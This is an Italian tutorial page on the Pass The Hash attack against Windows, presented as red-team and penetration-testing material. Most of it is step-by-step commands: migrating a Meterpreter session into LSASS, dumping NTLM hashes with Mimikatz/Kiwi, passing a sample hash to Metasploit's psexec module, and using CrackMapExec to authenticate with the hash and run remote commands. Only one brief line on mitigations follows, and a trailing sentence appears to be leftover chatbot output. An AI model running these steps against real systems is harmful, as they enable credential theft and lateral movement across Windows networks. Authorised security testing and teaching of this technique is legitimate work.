Tutorials

Pass The Hash Attack - Guida Approfondita

L'attacco Pass The Hash PtH è una tecnica che consente di autenticarsi su un sistema remoto Windows sfruttando direttamente l'hash NTLM della password, senza la necessità di conoscerla in chiaro. Ques

#exploitation#post-exploitation#windows

Pass The Hash Attack - Guida Approfondita

Introduzione

L'attacco Pass The Hash (PtH) è una tecnica che consente di autenticarsi su un sistema remoto Windows sfruttando direttamente l'hash NTLM della password, senza la necessità di conoscerla in chiaro. Questa tecnica è molto utile in scenari post-exploitation, tipici delle attività di Red Teaming e Penetration Testing, e può essere eseguita tramite vari strumenti come Metasploit (PsExec) e CrackMapExec (CME).


Prerequisiti

  • Accesso iniziale alla macchina target (ad esempio con Meterpreter)
  • Privilegi elevati (NT AUTHORITY\SYSTEM)
  • Dump degli hash NTLM degli utenti (via Mimikatz o altri strumenti)

Metodo 1: Pass The Hash con PsExec (Metasploit)

Step-by-Step

1. Individuare il processo LSASS

bash
pgrep lsass

2. Migrare nel processo LSASS

bash
migrate <PID>

3. Caricare Mimikatz (modulo Kiwi)

bash
load kiwi
lsa_dump_sam

4. Dumpare gli hash degli utenti

bash
hashdump

Esempio output:

bash
administrator:500:aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d

5. Mettere in background la sessione Meterpreter

bash
background

6. Cercare e configurare il modulo PsExec

bash
search psexec
use exploit/windows/smb/psexec

7. Configurare i parametri principali

bash
set RHOSTS <ip_target>
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d
set LPORT 4445  # Porta diversa da quella già usata
run

Metodo 2: Pass The Hash con CrackMapExec (CME)

CrackMapExec è uno strumento versatile per la post-exploitation in ambienti Windows. Supporta l'autenticazione via hash (Pass The Hash) e consente di eseguire comandi remoti.

Step-by-Step

1. Verificare la validità dell'hash NTLM

bash
crackmapexec smb <ip_target> -u administrator -H e3c61a68f1b89ee6c8ba9507378dc88d

2. Eseguire comandi remoti

bash
crackmapexec smb <ip_target> -u administrator -H e3c61a68f1b89ee6c8ba9507378dc88d -x "whoami"

Output atteso:

bash
SMB         <ip_target>       [*] Windows 10 Pro 1909 x64 (name:WIN10)
SMB         <ip_target>       [+] Logged in as administrator
SMB         <ip_target>       [+] Executed command: whoami
SMB         <ip_target>       WIN10\Administrator

Considerazioni di Sicurezza

  • L’attacco PtH sfrutta una debolezza intrinseca nel protocollo NTLM: la memorizzazione degli hash invece delle password in chiaro.
  • La mitigazione include: utilizzo di Credential Guard, autenticazione Kerberos, privilegi minimi e segmentazione della rete.

Tools Alternativi

  • impacket-psexec.py
  • smbexec.py
  • wmiexec.py
  • pth-winexe

Conclusione

Il Pass The Hash è una tecnica potente nel contesto della post-exploitation. Conoscere a fondo strumenti come Metasploit e CrackMapExec permette di sfruttare al meglio questa metodologia durante un test di sicurezza in ambienti Windows.


Se desideri, posso aggiungere una sezione sugli indicatori di compromissione (IoC) o suggerimenti su come rilevare e difendersi da questo tipo di attacco.